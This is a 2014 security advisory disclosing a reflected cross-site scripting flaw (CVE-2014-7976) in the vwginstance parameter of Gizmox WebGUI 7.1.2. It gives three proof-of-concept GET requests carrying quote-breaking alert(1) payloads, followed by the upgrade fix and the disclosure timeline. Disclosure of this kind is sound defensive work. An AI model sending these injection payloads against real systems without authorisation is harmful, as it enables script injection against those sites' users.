Trustwave SpiderLabs Security Advisory TWSL2014-015:
Cross Site Scripting Vulnerability in Gizmox WebGui

Published: 10/29/2014 
Version: 1.0

Vendor: Gizmox (http://www.gizmox.com/) 
Product: Gizmox WebGUI 
Version affected:  7.1.2 (Other Versions may also be affected)

Product description: 
A 3rd party plugin for building cross-platform HTML5 apps

Finding 1: Cross Site Scripting Vulnerability
Credit: Anna Manousaki and Kyprianos Vasilopoulos of Trustwave 
CVE: CVE-2014-7976
CWE: CWE-79

A Cross Site Scripting vulnerability exists in Gizmox WebGui vwginstance
parameter.  The Gizmox WebGui allowed unvalidated input to be passed in the
vwginstance query parameter, which could be manipulated to trigger a Cross
Site Scripting Vulnerability.

Entering a malformed query as input to the vwginstance parameter, caused
the application to include that in the application code, and as a result
the script injected by the malformed Cross Site Scripting request was
successfully executed.

The following Proof of Concepts (PoC) presents requests, sent to the
application. The request is malformed to include a manipulated input for
the vwginstance parameter, which when executed successfully created an XSS,
presented via a pop-up box with number 1 in this case. Requests are either
sent directly via the browser URL or via manipulating the initial GET
request sent to the application.

## Proof of Concept 1
GET /FrmConsole.wgx?vwginstance=“);alert(1)// HTTP/1.1 Host:
xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9;
rv:27.0) Gecko/20100101 Firefox/27.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer:
https://xxx.xxx.xxx.xxx Connection: keep-alive

## Proof of Concept 2
GET /Post.FrmConsole.wgx?configuration=Parameters&institutionCode=CNTR&vwginstance=1“);alert(1)// HTTP/1.1 Host:
xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9;
rv:27.0) Gecko/20100101 Firefox/27.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer:
https://xxx.xxx.xxx.xxx Connection: keep-alive

## Proof of Concept 3

GET /FrmConsole.wgx?vwginstance=1";alert(1)// HTTP/1.1 Host:
xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9;
rv:27.0) Gecko/20100101 Firefox/27.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer:
https://xxx.xxx.xxx.xxx Connection: keep-alive


Remediation Steps: 
Upgrade to version v10.0.1 or the latest stable version of Gizmox WebGui.

Revision History:
09/22/14 - Vulnerability disclosed to vendor
10/29/14 - Vendor releases patch
10/29/14 - Advisory published


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